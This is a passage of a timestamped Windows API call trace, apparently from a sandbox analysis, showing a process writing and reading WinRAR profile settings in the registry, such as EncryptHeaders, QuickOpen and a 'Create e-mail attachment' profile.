Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xe414f99c8, lpdwDisposition=0xe414f99c0 | out: phkResult=0xe414f99c8*=0x1f0, lpdwDisposition=0xe414f99c0*=0x2) returned 0x0 [0058.039] RegSetValueExW (in: hKey=0x1f0, lpValueName="PasswordData", Reserved=0x0, dwType=0x3, lpData=0x7ff6f75df128*, cbData=0x1 | out: lpData=0x7ff6f75df128*) returned 0x0 [0058.039] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.039] GetLastError () returned 0x0 [0058.039] SetLastError (dwErrCode=0x0) [0058.039] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.039] RegSetValueExW (in: hKey=0x1f0, lpValueName="EncryptHeaders", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.039] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.039] GetLastError () returned 0x0 [0058.039] SetLastError (dwErrCode=0x0) [0058.039] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.039] RegSetValueExW (in: hKey=0x1f0, lpValueName="ZipLegacyEncrypt", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.039] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.039] GetLastError () returned 0x0 [0058.039] SetLastError (dwErrCode=0x0) [0058.039] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.039] RegSetValueExW (in: hKey=0x1f0, lpValueName="OpenShared", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.039] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.039] GetLastError () returned 0x0 [0058.040] SetLastError (dwErrCode=0x0) [0058.040] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.040] RegSetValueExW (in: hKey=0x1f0, lpValueName="ProcessOwners", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.040] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.040] GetLastError () returned 0x0 [0058.040] SetLastError (dwErrCode=0x0) [0058.040] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.040] RegSetValueExW (in: hKey=0x1f0, lpValueName="SaveStreams", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.040] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.040] GetLastError () returned 0x0 [0058.040] SetLastError (dwErrCode=0x0) [0058.040] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.040] RegSetValueExW (in: hKey=0x1f0, lpValueName="SaveSymLinks", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.040] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.040] GetLastError () returned 0x0 [0058.040] SetLastError (dwErrCode=0x0) [0058.040] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.040] RegSetValueExW (in: hKey=0x1f0, lpValueName="SaveHardLinks", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.040] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.040] GetLastError () returned 0x0 [0058.041] SetLastError (dwErrCode=0x0) [0058.041] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.041] RegSetValueExW (in: hKey=0x1f0, lpValueName="GenerateArcName", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.041] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.041] GetLastError () returned 0x0 [0058.041] SetLastError (dwErrCode=0x0) [0058.041] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.041] RegSetValueExW (in: hKey=0x1f0, lpValueName="VersionControl", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.041] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.041] GetLastError () returned 0x0 [0058.041] SetLastError (dwErrCode=0x0) [0058.041] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.041] RegSetValueExW (in: hKey=0x1f0, lpValueName="BLAKE2", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.041] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.041] GetLastError () returned 0x0 [0058.041] SetLastError (dwErrCode=0x0) [0058.041] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.041] RegSetValueExW (in: hKey=0x1f0, lpValueName="FileCopies", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.041] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.041] GetLastError () returned 0x0 [0058.041] SetLastError (dwErrCode=0x0) [0058.042] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.042] RegSetValueExW (in: hKey=0x1f0, lpValueName="QuickOpen", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.042] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.042] GetLastError () returned 0x0 [0058.042] SetLastError (dwErrCode=0x0) [0058.042] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.042] RegSetValueExW (in: hKey=0x1f0, lpValueName="GenerateMask", Reserved=0x0, dwType=0x1, lpData="yyyymmddhhmmss", cbData=0x1e | out: lpData="yyyymmddhhmmss") returned 0x0 [0058.042] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.042] GetLastError () returned 0x0 [0058.042] SetLastError (dwErrCode=0x0) [0058.042] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.042] RegSetValueExW (in: hKey=0x1f0, lpValueName="FileTimeMode", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.042] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.042] GetLastError () returned 0x0 [0058.042] SetLastError (dwErrCode=0x0) [0058.042] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.042] RegSetValueExW (in: hKey=0x1f0, lpValueName="FileDays", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.042] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.042] GetLastError () returned 0x0 [0058.042] SetLastError (dwErrCode=0x0) [0058.043] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.043] RegSetValueExW (in: hKey=0x1f0, lpValueName="FileHours", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.043] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.043] GetLastError () returned 0x0 [0058.043] SetLastError (dwErrCode=0x0) [0058.043] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.043] RegSetValueExW (in: hKey=0x1f0, lpValueName="FileMinutes", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.043] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.043] GetLastError () returned 0x0 [0058.043] SetLastError (dwErrCode=0x0) [0058.043] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.043] RegSetValueExW (in: hKey=0x1f0, lpValueName="FileTimeLimit", Reserved=0x0, dwType=0xb, lpData=0xe414fb268*=0x0, cbData=0x8 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.043] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.043] GetLastError () returned 0x0 [0058.043] SetLastError (dwErrCode=0x0) [0058.043] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.043] RegSetValueExW (in: hKey=0x1f0, lpValueName="ArcTimeOriginal", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.044] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.044] GetLastError () returned 0x0 [0058.044] SetLastError (dwErrCode=0x0) [0058.044] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.044] RegSetValueExW (in: hKey=0x1f0, lpValueName="ArcTimeLatest", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.044] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.044] GetLastError () returned 0x0 [0058.044] SetLastError (dwErrCode=0x0) [0058.044] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.044] RegSetValueExW (in: hKey=0x1f0, lpValueName="mtime", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x4, cbData=0x4 | out: lpData=0xe414fb268*=0x4) returned 0x0 [0058.044] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.044] GetLastError () returned 0x0 [0058.044] SetLastError (dwErrCode=0x0) [0058.044] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.044] RegSetValueExW (in: hKey=0x1f0, lpValueName="ctime", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.044] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.044] GetLastError () returned 0x0 [0058.044] SetLastError (dwErrCode=0x0) [0058.044] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.045] RegSetValueExW (in: hKey=0x1f0, lpValueName="atime", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.045] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.045] GetLastError () returned 0x0 [0058.045] SetLastError (dwErrCode=0x0) [0058.045] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.045] RegSetValueExW (in: hKey=0x1f0, lpValueName="PathsAbs", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.045] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.045] GetLastError () returned 0x0 [0058.045] SetLastError (dwErrCode=0x0) [0058.045] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.045] RegSetValueExW (in: hKey=0x1f0, lpValueName="PathsNone", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.045] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.045] GetLastError () returned 0x0 [0058.045] SetLastError (dwErrCode=0x0) [0058.045] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.045] RegSetValueExW (in: hKey=0x1f0, lpValueName="PathsAbsDrive", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.045] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.045] GetLastError () returned 0x0 [0058.045] SetLastError (dwErrCode=0x0) [0058.045] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.045] RegSetValueExW (in: hKey=0x1f0, lpValueName="SeparateArc", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.046] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.046] GetLastError () returned 0x0 [0058.046] SetLastError (dwErrCode=0x0) [0058.046] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.046] RegSetValueExW (in: hKey=0x1f0, lpValueName="SeparateArcDoubleExt", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.046] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.046] GetLastError () returned 0x0 [0058.046] SetLastError (dwErrCode=0x0) [0058.046] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.046] RegSetValueExW (in: hKey=0x1f0, lpValueName="SeparateArcSubfolders", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.046] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.046] GetLastError () returned 0x0 [0058.046] SetLastError (dwErrCode=0x0) [0058.046] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.046] RegSetValueExW (in: hKey=0x1f0, lpValueName="EmailArcTo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.046] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.046] GetLastError () returned 0x0 [0058.046] SetLastError (dwErrCode=0x0) [0058.046] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xe414fad88, lpdwDisposition=0xe414fad80 | out: phkResult=0xe414fad88*=0x1f0, lpdwDisposition=0xe414fad80*=0x2) returned 0x0 [0058.046] RegSetValueExW (in: hKey=0x1f0, lpValueName="PackDetails", Reserved=0x0, dwType=0x3, lpData=0xe414fb2a0*, cbData=0xc0 | out: lpData=0xe414fb2a0*) returned 0x0 [0058.046] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.046] GetCurrentProcess () returned 0xffffffffffffffff [0058.046] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414fc8a0, lpSystemAffinityMask=0xe414fc8a8 | out: lpProcessAffinityMask=0xe414fc8a0, lpSystemAffinityMask=0xe414fc8a8) returned 1 [0058.047] GetCurrentProcess () returned 0xffffffffffffffff [0058.047] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414fc900, lpSystemAffinityMask=0xe414fc908 | out: lpProcessAffinityMask=0xe414fc900, lpSystemAffinityMask=0xe414fc908) returned 1 [0058.047] GetLastError () returned 0x0 [0058.047] SetLastError (dwErrCode=0x0) [0058.047] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fc4b0 | out: phkResult=0xe414fc4b0*=0x0) returned 0x2 [0058.047] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x3f7, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="Create e-mail attachment") returned 0x18 [0058.047] GetLastError () returned 0x0 [0058.047] SetLastError (dwErrCode=0x0) [0058.047] GetLastError () returned 0x0 [0058.047] SetLastError (dwErrCode=0x0) [0058.047] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fa1c0 | out: phkResult=0xe414fa1c0*=0x1f0) returned 0x0 [0058.047] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.047] GetLastError () returned 0x0 [0058.047] SetLastError (dwErrCode=0x0) [0058.047] GetLastError () returned 0x0 [0058.047] SetLastError (dwErrCode=0x0) [0058.047] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fa1c0 | out: phkResult=0xe414fa1c0*=0x0) returned 0x2 [0058.047] GetLastError () returned 0x0 [0058.047] SetLastError (dwErrCode=0x0) [0058.047] GetLastError () returned 0x0 [0058.047] SetLastError (dwErrCode=0x0) [0058.047] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fa540 | out: phkResult=0xe414fa540*=0x1f0) returned 0x0 [0058.047] RegQueryValueExW (in: hKey=0x1f0, lpValueName="Name", lpReserved=0x0, lpType=0xe414fa9a4, lpData=0xe414fb510, lpcbData=0xe414fa9a0*=0x400 | out: lpType=0xe414fa9a4*=0x1, lpData="Default Profile", lpcbData=0xe414fa9a0*=0x20) returned 0x0 [0058.047] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.047] GetLastError () returned 0x0 [0058.047] SetLastError (dwErrCode=0x0) [0058.047] GetLastError () returned 0x0 [0058.047] SetLastError (dwErrCode=0x0) [0058.048] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x1) returned 0x0 [0058.048] RegSetValueExW (in: hKey=0x1f0, lpValueName="Name", Reserved=0x0, dwType=0x1, lpData="Create e-mail attachment", cbData=0x32 | out: lpData="Create e-mail attachment") returned 0x0 [0058.048] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.048] GetLastError () returned 0x0 [0058.048] SetLastError (dwErrCode=0x0) [0058.048] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.048] RegSetValueExW (in: hKey=0x1f0, lpValueName="Default", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.048] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.048] GetLastError () returned 0x0 [0058.048] SetLastError (dwErrCode=0x0) [0058.048] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x20006, phkResult=0xe414fae10 | out: phkResult=0xe414fae10*=0x1f0) returned 0x0 [0058.048] RegDeleteValueW (hKey=0x1f0, lpValueName="ArcName") returned 0x2 [0058.048] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.048] GetLastError () returned 0x0 [0058.048] SetLastError (dwErrCode=0x0) [0058.048] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x20006, phkResult=0xe414fae10 | out: phkResult=0xe414fae10*=0x1f0) returned 0x0 [0058.048] RegDeleteValueW (hKey=0x1f0, lpValueName="FileNames") returned 0x2 [0058.048] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.048] GetLastError () returned 0x0 [0058.048] SetLastError (dwErrCode=0x0) [0058.048] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | 